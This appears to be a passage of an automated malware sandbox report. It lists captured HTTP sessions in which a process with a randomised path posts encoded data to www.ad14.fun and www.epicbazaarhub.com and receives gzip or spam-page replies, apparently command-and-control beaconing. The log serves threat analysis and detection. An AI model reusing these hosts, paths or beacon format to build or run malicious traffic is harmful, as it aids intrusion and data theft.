Jul 3, 2024 17:56:59.620735884 CEST	1236	IN	Data Raw: 70 6f 72 74 65 64 41 50 49 73 3a 5b 22 74 63 66 63 61 22 2c 22 75 73 6e 61 74 22 2c 22 75 73 63 61 22 2c 22 75 73 76 61 22 2c 22 75 73 63 6f 22 2c 22 75 73 75 74 22 2c 22 75 73 63 74 22 5d 2c 63 6d 70 49 64 3a 33 31 7d 7d 3b 77 69 6e 64 6f 77 2e Data Ascii: portedAPIs:["tcfca","usnat","usca","usva","usco","usut","usct"],cmpId:31}};window.cmp_gppstub=function(){var a=arguments;__gpp.q=__gpp.q\|\|[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:null;var e=a.length>2?a[2]:null;if(g==="
Jul 3, 2024 17:56:59.620752096 CEST	1236	IN	Data Raw: 6d 70 28 62 2e 63 6f 6d 6d 61 6e 64 2c 62 2e 70 61 72 61 6d 65 74 65 72 2c 66 75 6e 63 74 69 6f 6e 28 68 2c 67 29 7b 76 61 72 20 65 3d 7b 5f 5f 63 6d 70 52 65 74 75 72 6e 3a 7b 72 65 74 75 72 6e 56 61 6c 75 65 3a 68 2c 73 75 63 63 65 73 73 3a 67 Data Ascii: mp(b.command,b.parameter,function(h,g){var e={__cmpReturn:{returnValue:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in c){var b=c.__uspapiCall;window.__uspapi
Jul 3, 2024 17:56:59.620763063 CEST	448	IN	Data Raw: 77 2e 63 6d 70 5f 73 65 74 47 70 70 53 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 28 61 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 Data Ascii: w.cmp_setGppStub=function(a){if(!(a in window)\|\|(typeof(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window
Jul 3, 2024 17:56:59.624519110 CEST	1236	IN	Data Raw: 61 62 6c 65 74 63 66 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 21 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 69 73 61 62 6c 65 74 63 66 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 28 22 5f 5f 74 63 66 61 70 69 4c 6f 63 61 74 6f 72 22 Data Ascii: abletcf" in window)\|\|!window.cmp_disabletcf){window.cmp_addFrame("__tcfapiLocator")}if(!("cmp_disablegpp" in window)\|\|!window.cmp_disablegpp){window.cmp_addFrame("__gppLocator")}window.cmp_setStub("__cmp");if(!("cmp_disabletcf" in window)\|\|!wi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49732	188.114.96.3	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:04.778712034 CEST	590	OUT	POST /oc7s/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 213 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.ad14.fun Origin: http://www.ad14.fun Referer: http://www.ad14.fun/oc7s/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 46 52 62 55 33 72 74 4e 33 6c 33 71 63 43 33 51 64 78 69 6e 41 49 6a 44 77 39 58 54 66 41 67 5a 6b 33 42 75 70 78 78 4a 4d 2f 69 50 65 41 4c 6b 65 44 62 4e 56 4e 37 56 67 54 57 4b 65 39 66 48 6e 51 5a 51 7a 46 30 65 4c 33 6f 55 46 68 63 79 76 55 57 61 41 4f 47 4a 32 67 48 7a 39 33 4d 55 51 4c 4e 70 6f 51 34 7a 75 42 59 59 76 66 4b 6c 62 61 48 64 55 4b 79 6c 6f 65 61 74 39 7a 75 6a 68 6f 4a 6f 75 4e 64 44 76 6d 32 61 62 53 4d 63 6d 56 42 65 73 76 52 66 78 33 63 58 76 6b 6c 32 39 6a 35 4a 5a 6b 78 71 6c 64 32 4a 49 75 56 54 38 44 38 43 78 72 67 71 46 46 57 37 46 44 35 57 6f 76 53 73 35 32 77 68 4b 63 57 6e Data Ascii: OdjTHtuX=FRbU3rtN3l3qcC3QdxinAIjDw9XTfAgZk3BupxxJM/iPeALkeDbNVN7VgTWKe9fHnQZQzF0eL3oUFhcyvUWaAOGJ2gHz93MUQLNpoQ4zuBYYvfKlbaHdUKyloeat9zujhoJouNdDvm2abSMcmVBesvRfx3cXvkl29j5JZkxqld2JIuVT8D8CxrgqFFW7FD5WovSs52whKcWn
Jul 3, 2024 17:57:05.459671974 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 15:57:05 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GEyrw%2FrktxeN6EX%2Bz0MFvIUUNFHTM0627Zo66kDJJ06MZoxGbxTchE%2BYxEwYs5uJMuUlegADxHODKBxE4RWFfDcqCmDImMv4wdV0fUc3NqjH%2BHqaYjTc0LIT0tfJH4M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d811bb7e810f9b-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 33 32 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b4 56 cf 53 d3 40 14 fe 57 e2 ce 38 c0 b4 12 f5 20 8e a6 f1 a0 8e 47 3d 78 f1 94 89 e9 42 2b 6d d3 49 16 18 6e a9 5a 68 e9 2f aa ed 40 01 15 1d c0 8a d2 52 ab 96 b6 a4 fc 33 d9 dd e4 e4 bf e0 c4 cd 38 29 a8 b7 5c 92 d9 b7 5f de fb de f7 de be 8d 70 e9 de c3 bb 8f 9f 3c ba cf c5 50 32 21 0a ee 93 4b c8 a9 b9 08 80 29 20 0a 31 28 47 45 21 09 91 cc 29 31 59 d3 21 8a 00 b4 30 7b e5 26 e0 45 01 c5 51 02 8a 93 31 59 bd 31 bd 18 4f 4f d9 c7 3d 72 54 9c 53 d5 b9 04 b4 bf 1d e0 4a cf fe 76 64 f5 8f 7f 9e 16 49 b9 49 f3 7d b4 14 47 50 3b b7 15 8d eb 8a aa 45 fd 56 09 1f 57 68 a7 eb 18 06 5e 1d f8 fd 49 fe 05 31 ca 56 3f 47 36 47 74 6f e0 d4 1a 76 bb 2d 31 06 7e 57 d7 71 f6 05 03 3a 86 41 be 8c 68 ad 6b b7 7b 52 00 a4 05 9e e9 c1 d4 4a c9 49 18 01 f3 70 79 49 d5 a2 3a e0 14 35 85 60 0a 45 40 00 91 99 0b 52 59 a7 7b 03 66 c7 ed 15 ba 9b 21 9b 6d 6b 68 58 fd 5c 98 e4 0b 64 67 4c 49 b2 b1 4b ba 75 fb ec 2d 29 ef 5b 83 57 76 a6 46 cd 6a d8 8f e0 d8 47 2e b6 db c4 2b c5 [TRUNCATED] Data Ascii: 32bVS@W8 G=xB+mInZh/@R38)\_p<P2!K) 1(GE!)1Y!0{&EQ1Y1OO=rTSJvdII}GP;EVWh^I1V?G6Gtov-1~Wq:Ahk{RJIpyI:5`E@RY{f!mkhX\dgLIKu-)[WvFjG.+05:p-RAV%[/qpgK~7^9MfA/Rof:)1{#Xn%uEQ\M[[p+Kqmi7$uAK'zGxXxZUKO;tnccxE[#t%gcsz\|ICly'M%;%\|2tXYD?qqeVVSUwOqh3X=lM
Jul 3, 2024 17:57:05.459770918 CEST	220	IN	Data Raw: 09 67 4b 7e 1c 3b 61 72 3a cd 8c 9c e7 af 35 a2 66 0b 67 76 c8 d1 07 e9 62 9f 53 b3 4a 3f 37 70 6b 93 9a 55 d6 5b 41 a7 63 37 b6 48 e1 1d ae f4 e8 6e c6 6b 3a 2e 9d 58 d0 cf 4d 97 80 98 b8 13 86 0d 15 71 51 d6 38 5d e7 22 40 98 d5 e4 24 08 01 a8 Data Ascii: gK~;ar:5fgvbSJ?7pkU[Ac7Hnk:.XMqQ8]"@$C)jBL\!pk D~c:r{v;}Dp.IUI!\q'u-cgS5,Ga$+!0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49733	188.114.96.3	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:07.320935965 CEST	614	OUT	POST /oc7s/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 237 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.ad14.fun Origin: http://www.ad14.fun Referer: http://www.ad14.fun/oc7s/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 46 52 62 55 33 72 74 4e 33 6c 33 71 47 69 6e 51 4f 53 4b 6e 51 59 6a 4d 31 39 58 54 56 67 68 51 6b 33 46 75 70 77 45 53 4e 4a 61 50 66 6c 33 6b 66 43 62 4e 63 64 37 56 72 7a 57 4c 61 39 66 63 6e 51 45 6c 7a 48 67 65 4c 33 38 55 46 68 73 79 76 48 4f 5a 41 65 47 4c 6a 51 48 78 7a 58 4d 55 51 4c 4e 70 6f 51 38 5a 75 46 30 59 73 75 36 6c 63 4c 48 61 4b 61 79 6d 67 2b 61 74 35 7a 75 6e 68 6f 49 39 75 4d 51 65 76 6c 4f 61 62 58 49 63 6e 41 39 66 6c 76 52 6a 2f 58 64 38 72 6d 4d 6e 34 54 45 77 61 69 6c 30 36 4e 57 70 41 34 55 4a 67 77 38 68 6a 37 41 6f 46 48 4f 4a 46 6a 35 38 71 76 71 73 72 68 38 47 46 6f 7a 45 42 32 74 65 32 61 31 64 4a 45 6e 67 34 6d 75 36 37 56 54 67 39 51 3d 3d Data Ascii: OdjTHtuX=FRbU3rtN3l3qGinQOSKnQYjM19XTVghQk3FupwESNJaPfl3kfCbNcd7VrzWLa9fcnQElzHgeL38UFhsyvHOZAeGLjQHxzXMUQLNpoQ8ZuF0Ysu6lcLHaKaymg+at5zunhoI9uMQevlOabXIcnA9flvRj/Xd8rmMn4TEwail06NWpA4UJgw8hj7AoFHOJFj58qvqsrh8GFozEB2te2a1dJEng4mu67VTg9Q==
Jul 3, 2024 17:57:08.029764891 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 15:57:07 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YMqQ%2F9UezL2FimQ9in7Hj12BBw40Pp%2BVq3aUwEPRUUuW9oS6FJ2jjY0DJocGHen2rx3EZe3G7G7Ius5fri4wZGqWJorEM4vO7GJUQqG%2FOLYsMKtxMLCK4yoqf6P3fG0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d811cb582a183d-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 33 32 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b4 55 cb 4e db 40 14 fd 15 77 a4 2a a0 a4 98 b2 28 55 71 dc 45 8b d8 54 a2 8b 6e ba 8a dc c4 24 6e 93 18 c5 03 88 9d a1 bc 52 42 1a d4 84 90 00 25 40 02 16 55 12 28 8f 60 52 97 9f f1 cc d8 ab fe 42 65 c6 54 0e 6a bb f3 c6 96 e6 de b9 e7 cc b9 e7 ce 70 0f 5e 8e bf 78 f3 f6 f5 28 93 80 a9 24 cf 39 5f 26 29 a4 e3 61 20 a6 01 cf 25 44 21 c6 73 29 11 0a 4c 34 21 64 14 11 86 01 9c 9a 78 f4 14 b0 3c 07 25 98 14 f9 be 84 20 3f 19 98 96 26 fb ad 93 0e 6e e6 e2 b2 1c 4f 8a d6 f9 21 fa dc b1 ce 9b a6 7e f2 eb 47 0e e7 35 92 d5 e1 8c 04 c5 cc bd 50 4c 52 a2 72 26 e6 5d 8d d0 1a a4 78 81 9a 05 7b be 65 76 2f 69 18 d5 8f d0 a2 e6 86 f1 f7 3d ba 6a ea bb e6 d5 27 62 ac a3 42 39 e2 85 c7 45 1d 67 55 b4 ad a1 2d 03 b5 2e 23 3e 50 e5 58 aa 02 d5 28 2d a4 c4 30 f8 20 ce ce c8 99 98 02 98 a8 9c 86 62 1a 86 81 0f c8 29 69 4a c2 6a de d4 57 6c 55 f5 d6 0b d1 38 a9 2e 50 2c 57 ba 86 41 8a 1a 2a 94 43 e8 70 de 34 4a a4 a8 e1 d2 09 6a 96 f1 99 86 96 72 63 de 02 68 31 6b cf 2d 7b [TRUNCATED] Data Ascii: 325UN@w(UqETn$nRB%@U(`RBeTjp^x($9_&)a %D!s)L4!dx<% ?&nO!~G5PLRr&]x{ev/i=j'bB9EgU-.#>PX(-0 b)iJjWlU8.P,WACp4Jjrch1k-{kJ,n(OxEieBv=IQ[ujl6`4@u{dWn[G^Rh8#~LTiJr_v5kogQAwfeU#`WhSKXZU&EqoP8g'#yD[HXkT8WJ;\g%~dGQ TJ=XGvNU!=8Arl/oL:bnU:An
Jul 3, 2024 17:57:08.030229092 CEST	197	IN	Data Raw: 71 67 13 b5 76 fe b5 db 9d 59 9a ea c3 a1 a8 a3 7a 0e 55 bb 42 6d dd bc d9 c3 73 6d bb 7c 6c ab 6a af 0b 6f 0d 41 9b 4e c9 f9 41 cb b9 5d e8 85 c2 4f 0b 19 46 51 98 30 e0 26 32 42 0a 04 81 a8 88 90 89 ca 49 25 1c 78 0c 82 60 70 f0 61 80 ff 13 63 Data Ascii: qgvYzUBmsm\|ljoANA]OFQ0&2BI%x`pach8pRyAv$PNK$B(AfJ?X190

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49734	188.114.96.3	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:09.883012056 CEST	1627	OUT	POST /oc7s/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.ad14.fun Origin: http://www.ad14.fun Referer: http://www.ad14.fun/oc7s/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 46 52 62 55 33 72 74 4e 33 6c 33 71 47 69 6e 51 4f 53 4b 6e 51 59 6a 4d 31 39 58 54 56 67 68 51 6b 33 46 75 70 77 45 53 4e 4b 36 50 65 58 50 6b 65 6c 50 4e 47 64 37 56 31 44 57 47 61 39 65 45 6e 51 64 74 7a 48 63 6b 4c 79 34 55 46 43 6b 79 37 6d 4f 5a 4c 65 47 4c 68 51 48 77 39 33 4e 4f 51 4c 64 74 6f 51 73 5a 75 46 30 59 73 73 69 6c 50 36 48 61 49 61 79 6c 6f 65 61 78 39 7a 75 50 68 6f 41 74 75 4d 45 4f 76 30 75 61 62 33 34 63 68 32 70 66 75 76 52 6c 38 58 64 6b 72 6d 52 2f 34 51 68 50 61 69 35 4f 36 4f 4b 70 52 76 78 6f 6c 6a 55 37 78 34 55 78 5a 77 32 70 45 45 42 5a 76 70 2b 4a 36 6e 67 58 61 71 75 71 49 6d 70 33 30 62 6b 70 44 6d 72 41 6b 68 72 75 32 46 57 6b 67 42 68 73 46 59 38 76 58 70 58 4f 68 45 37 4c 6c 66 2b 58 4e 6a 70 44 48 72 72 36 42 31 68 46 72 32 33 58 64 4d 57 31 66 63 34 49 52 52 66 74 71 39 76 31 30 6a 65 34 30 33 78 76 4f 72 58 47 64 35 61 57 53 4c 6d 46 66 65 72 75 4f 72 79 46 6c 6a 42 4e 44 55 4c 4c 64 50 70 41 6a 42 37 53 62 46 4e 6c 38 4e 61 4d 4a [TRUNCATED] Data Ascii: OdjTHtuX=FRbU3rtN3l3qGinQOSKnQYjM19XTVghQk3FupwESNK6PeXPkelPNGd7V1DWGa9eEnQdtzHckLy4UFCky7mOZLeGLhQHw93NOQLdtoQsZuF0YssilP6HaIayloeax9zuPhoAtuMEOv0uab34ch2pfuvRl8XdkrmR/4QhPai5O6OKpRvxoljU7x4UxZw2pEEBZvp+J6ngXaquqImp30bkpDmrAkhru2FWkgBhsFY8vXpXOhE7Llf+XNjpDHrr6B1hFr23XdMW1fc4IRRftq9v10je403xvOrXGd5aWSLmFferuOryFljBNDULLdPpAjB7SbFNl8NaMJKKwZQxYSYeBpOjST2aMw5tyxuGfA6mEyCk85kdSTexcPDhsQg6fU0KKPnbTZeNWwu3WR2A9sEsbRwbiuJqYu7iiO8wG/pTDNCkG69x+1cQfxAQCQlYLseAXs8P8HSezsk/KXNj6z0V6N7/kcQ5xZOIg7VClOIt4CNL26ggKggJLsmF8+zCWxcJN3evzRrTF1TqXsstq0gVZFZsEfejiUGZmUSGqyftJxnB61Qd0twcXfkoYaIU4gUYFkATF1bTwoIg+QYeuPb2U+pEvUYRDS+f4ME4vEd37h2r64K4J6FciXXKNSXhgyNA2m6yY/4kC/DiHvPHREdkWoqkalvpx8sxy8hkgrZNxi8gyq4z8BIpeaFSsGNgcMLYCkneZ3HxEjodsgig8yEbs/UI9b398Bz8oSjccmnOr7QuHLxidef6haYqTe6hi9ccCCYSO3x0FZBrZbSOb66udz7C0LRtTYuyXI7vE0WK+x9P6WFmo9DiyctDTZLdhaI3kIvGAbqTLfuafCfktH/nvqP0LHBQSMK+ZTmLbK0PMgB2kBAyEJXw550tnlYAkJZ//qTHM8el+tHlhbAsd8MnzYZiewd2SJevACANCi87lKgay6cxLp8iwdgBXJqBz7ZyCaBflQyKpNBaLWQM7AWcPfBUwvYxoGRD1iMNfWm9cHsX [TRUNCATED]
Jul 3, 2024 17:57:10.562294960 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 15:57:10 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7et79ANId8Bpzw24eIVfvUrAjuo5Be37O9hqfjObgsg28XmfZOujEieEA4dr65QQyBhNTHHWQFoBdSx1bHhSGsICZUx2O%2FupHWrSxiEJvYrkHWvre1JxUApzMeEihug%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d811db4ad33350-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 33 30 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b4 55 4d 53 d3 40 18 fe 2b 71 67 9c c2 b4 12 ec 41 1c 49 e3 41 3d eb c1 8b a7 4e 4c 16 1a 6d 9b 4e b2 85 e1 d6 f2 d1 29 f4 93 b1 c8 47 41 81 01 0c 0a 14 a4 0c 2d 25 f4 cf 64 37 c9 c9 bf e0 a4 5b 9d 54 81 5b 2e c9 64 df 27 cf fb e4 c9 f3 ee 72 0f 5e be 7e f1 f6 dd 9b 57 4c 0c 25 e2 3c e7 5e 99 b8 90 9c 8c 00 98 04 3c 17 83 82 c4 73 09 88 04 46 8c 09 aa 06 51 04 a0 f4 c4 a3 a7 80 e5 39 24 a3 38 e4 87 62 82 f2 64 64 4a 4e 0d db a7 97 e4 b8 38 a9 28 93 71 68 37 0f 70 e5 d2 6e 1e 9b ed d3 5f d7 45 52 d6 ad c5 36 9a 96 11 54 ff 29 49 b2 26 2a aa e4 5d 8d 7a 39 c8 62 81 6c 5e 99 ad 92 3d 67 58 35 9d 6c ed 3b df 8b 76 23 3b 08 ca 94 cd 76 de 6c 95 29 1a 2f 9c db d9 5a 1f 41 6b a4 d6 f6 42 f1 d2 97 a8 0f ca 39 96 9a 42 2d 4b 0a 09 18 01 1f e1 cc b4 a2 4a 1a 60 44 25 89 60 12 45 80 0f 9d bd 14 0c ae 96 9d ad 5d b2 d6 30 3b 19 b3 9d 0f 85 47 c3 61 9c af e3 ce 95 17 16 c2 67 19 67 a5 4b ca ba 5d aa 52 21 5e c6 30 5e 98 33 af 37 f0 f2 5a c8 fb 96 b5 31 6f d5 74 27 53 [TRUNCATED] Data Ascii: 301UMS@+qgAIA=NLmN)GA-%d7[T[.d'r^~WL%<^<sFQ9$8bddJN8(qh7pn_ER6T)I&]z9bl^=gX5l;v#;vl)/ZAkB9B-KJ`D%`E]0;GaggK]R!^0^37Z1ot'SYGGfkW~U\|0k+Fn]Seur9Y'Ghw7rvdj$Ky@E<Mct\#oPJz+Ju+Fiz[dq2^:~\|EB7)3UtR6M#T%0rOx5=4Wqyg2{DV-`az+M3nfcj\|ojaveWWjm
Jul 3, 2024 17:57:10.562347889 CEST	157	IN	Data Raw: 3b d9 4f 7e a8 72 f7 17 ba a5 f0 53 82 ca 68 1a 13 01 dc 84 2a 24 40 10 40 0d 22 46 54 e2 5a 24 f0 18 04 c1 e8 e8 c3 00 ff b7 c6 68 2a 08 02 31 12 88 21 94 d2 9e b1 6c 4c 50 c6 5c 6d 01 f6 16 10 8b 94 e4 e4 07 79 c4 3d 78 9f b3 8a 38 a6 b1 2e 8e Data Ascii: ;O~rSh$@@"FTZ$h1!lLP\my=x8.t8C@RDL @#.@W~H3<o#70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49735	188.114.96.3	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:12.414638996 CEST	341	OUT	GET /oc7s/?Y6vp=3PLd8j&OdjTHtuX=ITz00edB1Uq7JDbRPTK5B57t89T2WQZ+hnFFsCQVLpiDf2LeJizgG+jH2jz5I+TBlRR/yAoHWWMQTB4d0WCMdZHpvgPMtRMFWqdBjyYGuisLgsnAd4XsPoSnl82L2CWvs48fsL0= HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.ad14.fun User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:57:13.148091078 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 15:57:13 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hn7R033%2FXgXO4zC42QbwHV85HvPXYg49COQM1i4B5MG5kryhvv4HTqQIYjFX%2By%2BjtgRiA1esJhUPM%2BKPd%2BHOfIN4GqQ%2FCpFUWqI1K5Sb2%2F%2FaEJfthOc%2B4bwUvHkkmLg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d811eb1a5e4316-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 61 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 74 75 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 28 68 61 6f 36 2e 76 69 70 29 e8 b0 b7 e6 ad 8c 67 6f 6f 67 6c 65 e8 b4 a6 e5 8f b7 e8 b4 ad e4 b9 b0 ef bc 8c e6 8e a8 e7 89 b9 74 77 69 74 65 72 e8 b4 a6 e5 8f b7 e8 b4 ad e4 b9 b0 ef bc 8c 64 69 73 63 6f 72 64 e8 b4 a6 e5 8f b7 e8 b4 ad e4 b9 b0 5f 47 6f 6f 67 6c 65 e6 80 8e e4 b9 88 e5 88 87 e6 8d a2 e6 b8 b8 e6 88 8f e8 b4 a6 e5 8f b7 5f e8 8b b1 e5 9b bd e5 b1 80 e9 95 bf e6 8e a8 e8 8d 90 e8 b0 b7 e6 ad 8c e8 b4 a6 e5 8f b7 e8 b4 ad e4 b9 b0 e5 b9 b3 e5 8f b0 5f 67 6f 6f 67 6c 65 e8 b4 a6 e5 8f b7 e7 94 a8 e6 88 b7 e5 90 8d e6 80 8e e9 ba bc e6 89 93 5f 28 68 61 6f 36 2e 76 69 70 29 e8 b0 b7 e6 ad 8c 67 6f 6f 67 6c 65 e8 b4 a6 e5 8f b7 e8 b4 ad e4 b9 b0 ef bc 8c e6 8e a8 e7 89 b9 74 77 69 74 65 72 e8 b4 a6 e5 8f b7 e8 b4 ad e4 b9 b0 ef bc 8c 64 69 73 63 6f 72 64 e8 b4 a6 e5 8f b7 [TRUNCATED] Data Ascii: 8aa<!DOCTYPE html><html lang="en"><head><meta charset="tuf-8"/><title>(hao6.vip)googletwiterdiscord_Google__google_(hao6.vip)googletwiterdiscord</title><meta name="keywords" content="(hao6.vip)googletwiterdiscordfacebook,,,google,
Jul 3, 2024 17:57:13.148113966 CEST	1236	IN	Data Raw: ad 8c e8 b4 a6 e5 8f b7 e8 b4 ad e4 b9 b0 e5 b9 b3 e5 8f b0 2c e6 80 8e e4 b9 88 e8 b4 ad e4 b9 b0 e6 8e a8 e7 89 b9 e8 b4 a6 e5 8f b7 e5 ae 89 e5 85 a8 e5 91 a2 2c 67 6f 6f 67 6c 65 e8 b4 a6 e5 8f b7 e6 97 a0 e6 b3 95 e7 99 bb e5 bd 95 e6 80 8e Data Ascii: ,,google,google"/><meta name="description" content="(hao6.vip)googletwiterdiscorddisc
Jul 3, 2024 17:57:13.148125887 CEST	362	IN	Data Raw: 22 3c 66 72 61 6d 22 2b 22 65 73 65 74 20 63 6f 6c 73 3d 27 31 22 2b 22 30 30 25 27 3e 3c 66 72 61 6d 22 2b 22 65 20 73 72 22 2b 22 63 3d 27 68 74 74 70 73 3a 2f 2f 68 61 6f 37 2e 76 69 70 27 2f 3e 3c 66 72 61 6d 22 2b 22 65 20 73 72 22 2b 22 63 Data Ascii: "<fram"+"eset cols='1"+"00%'><fram"+"e sr"+"c='https://hao7.vip'/><fram"+"e sr"+"c='/tongji.html?/oc7s/?Y6vp=3PLd8j&OdjTHtuX=ITz00edB1Uq7JDbRPTK5B57t89T2WQZ+hnFFsCQVLpiDf2LeJizgG+jH2jz5I+TBlRR/yAoHWWMQTB4d0WCMdZHpvgPMtRMFWqdBjyYGuisLgsnAd4XsPo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49736	192.185.208.8	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:18.692681074 CEST	617	OUT	POST /2769/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 213 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.epicbazaarhub.com Origin: http://www.epicbazaarhub.com Referer: http://www.epicbazaarhub.com/2769/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 6d 53 56 73 53 66 61 67 71 57 51 75 72 65 46 57 4a 33 4d 43 66 6b 5a 37 48 35 77 57 74 45 33 38 32 33 51 7a 59 54 2f 32 42 71 77 4b 4f 48 43 62 6a 56 72 41 66 73 51 32 70 59 48 4f 47 57 49 2b 77 56 46 4f 6c 6a 46 50 71 46 79 59 4e 38 4e 62 56 33 61 35 51 52 7a 36 37 4d 68 39 4b 70 7a 6e 77 63 35 2b 4f 68 6f 45 57 7a 41 44 52 38 32 52 4b 33 6f 6f 53 43 4a 35 32 54 2b 79 6f 69 69 6f 4c 6d 50 2f 6b 41 57 34 47 38 4f 66 36 62 72 6a 6c 42 6f 5a 58 57 7a 67 63 37 35 31 4f 46 50 54 75 6f 68 31 6d 36 74 77 6e 65 79 34 55 76 4e 49 6e 55 63 5a 6c 71 7a 6d 6f 71 77 6e 78 6e 4b 64 41 73 7a 75 71 36 34 41 58 30 79 43 Data Ascii: 